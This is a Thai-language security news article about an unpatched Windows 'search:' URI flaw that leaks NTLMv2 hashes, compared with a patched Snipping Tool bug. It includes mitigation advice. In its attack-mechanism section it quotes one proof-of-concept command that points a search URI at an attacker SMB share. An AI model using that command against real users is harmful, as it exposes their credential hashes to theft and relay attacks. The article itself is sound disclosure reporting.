วันที่ 8 มิถุนายน 2569

พบช่องโหว่ใน Windows Search URI ที่ยังไม่มีแพตช์ เปิดทางให้ผู้โจมตีขโมย NTLMv2 Hash

นักวิจัยด้านความปลอดภัยไซเบอร์เปิดเผยรายละเอียดของช่องโหว่ที่ยังไม่ได้รับการแก้ไข ซึ่งอาจถูกนำไปใช้เพื่อเปิดเผยค่า NTLMv2 Hash ของผู้ใช้งานให้ตกไปอยู่ในมือของผู้โจมตีได้ เช่นเดียวกับกรณีของ CVE-2026-33829ที่ส่งผลกระทบต่อ URI Handler ของ Windows Snipping Tool ที่ใช้โปรโตคอล "ms-screensketch:" ช่องโหว่ที่เพิ่งถูกเปิดเผยล่าสุดนี้พบอยู่ใน URI Handler ที่ใช้โปรโตคอล "search:" ตามการเปิดเผยของHuntress

การเปรียบเทียบกับช่องโหว่ CVE-2026-33829

CVE-2026-33829 เป็นช่องโหว่ประเภท Spoofing ที่อาจเปิดเผยข้อมูลสำคัญให้กับผู้ที่ไม่ได้รับอนุญาต โดย Microsoftได้ออกแพตช์แก้ไขไปแล้วเมื่อเดือนเมษายน 2026 Microsoft ระบุไว้ในประกาศด้านความปลอดภัยในขณะนั้นว่า ผู้โจมตีสามารถหลอกล่อให้ผู้ใช้งานคลิกลิงก์ที่ถูกสร้างขึ้นเป็นพิเศษผ่านเว็บเบราว์เซอร์หรือแหล่งที่มาของURL อื่นๆ ได้ โดยฝังลิงก์ดังกล่าวไว้ในหน้าเว็บไซต์หรือข้อความอีเมล หากผู้ใช้งานอนุญาตให้เปิดลิงก์ดังกล่าวURL ที่ถูกสร้างขึ้นมาเป็นพิเศษจะทำให้คอมพิวเตอร์เชื่อมต่อไปยังเซิร์ฟเวอร์SMB ที่ผู้โจมตีเป็นผู้กำหนด ซึ่งจะส่งผลให้ค่า NTLMv2 Hash ของผู้ใช้งานถูกเปิดเผย และผู้โจมตีอาจนำข้อมูลดังกล่าวไปใช้เพื่อยืนยันตัวตนในนามของผู้ใช้งานได้ ปัญหาดังกล่าวเกิดจาก URI Handler ของ Snipping Tool ที่ยอมรับพารามิเตอร์ชื่อ "filePath" โดยไม่มีการตรวจสอบความถูกต้องอย่างเพียงพอ และจะพยายามเข้าถึงทุกเส้นทางแบบ Universal Naming Convention (UNC) ที่ถูกส่งเข้ามา ผลที่ตามมาคือ ระบบอาจเริ่มกระบวนการยืนยันตัวตนด้วย NTLMและเปิดเผยค่า Net-NTLMv2 Hash ของเหยื่อให้แก่ผู้โจมตี

กลไกการโจมตีและการขยายสิทธิ์

ช่องโหว่ที่เพิ่งถูกค้นพบใหม่นี้สามารถบรรลุผลลัพธ์เดียวกันได้ โดยใช้ "search:" และ "crumb=location:" แทน "filePath" ผ่านคำสั่งในลักษณะดังต่อไปนี้start "" "search:query=test&crumb=location:\10.0.1.100\share" "ช่องโหว่นี้ใช้กลไกการรั่วไหลของ NTLM แบบเดียวกัน ทำให้เกิดการรั่วไหลของค่า Net-NTLMv2 ในลักษณะเดียวกัน มีเงื่อนไขการโจมตีเหมือนกัน และได้รับการจัดระดับความรุนแรงไว้ที่ระดับ Moderateเช่นเดียวกัน" Andrew Schwartz นักวิจัยจากHuntress กล่าว ทั้งนี้ การใช้พารามิเตอร์ "crumb" เพื่อขโมยค่า Hash ดังกล่าว (CVE-2023-35636)เคยถูกเปิดเผยโดย Varonis ตั้งแต่เดือนกุมภาพันธ์2024 แล้ว ผลจากช่องโหว่นี้ ผู้โจมตีอาจนำค่า Hash ที่ดักจับได้ไปใช้ในการโจมตีแบบ Relay Attack เพื่อขยายสิทธิ์การเข้าถึงและเจาะลึกเข้าไปภายในเครือข่ายขององค์กรได้มากขึ้น

การตอบสนองจาก Microsoft และมาตรการลดความเสี่ยง

หลังจากมีการแจ้งช่องโหว่ต่อ Microsoft ตามแนวทาง Responsible Disclosure เมื่อวันที่ 15เมษายน 2026 ทาง Microsoft ตัดสินใจไม่ดำเนินการแก้ไขช่องโหว่นี้ โดยให้เหตุผลว่า เฉพาะช่องโหว่ที่มีระดับความรุนแรงImportant และ Critical เท่านั้นที่อยู่ในเกณฑ์การออกอัปเดตแก้ไขของเรา

ในระหว่างที่ยังไม่มีแพตช์แก้ไข ผู้ดูแลระบบควรดำเนินมาตรการลดความเสี่ยงดังต่อไปนี้

- ควรบล็อกการเชื่อมต่อSMB ขาออก (TCP/445 และ TCP/139)บนอุปกรณ์ที่ไม่จำเป็นต้องใช้งาน
- บังคับใช้งาน SMB Signing เพื่อป้องกันไม่ให้ค่า Hash ที่ถูกขโมยไปสามารถถูกนำไปใช้ในการโจมตีแบบ Relay กับบริการภายในองค์กรได้
- ควรปิดการใช้งาน NTLM ในระบบที่สามารถดำเนินการได้

ข้อมูลอ้างอิง

Jun 3, 2026, By Ravie Lakshmanan

- https://thehackernews.com/2026/06/unpatched-windows-search-uri.html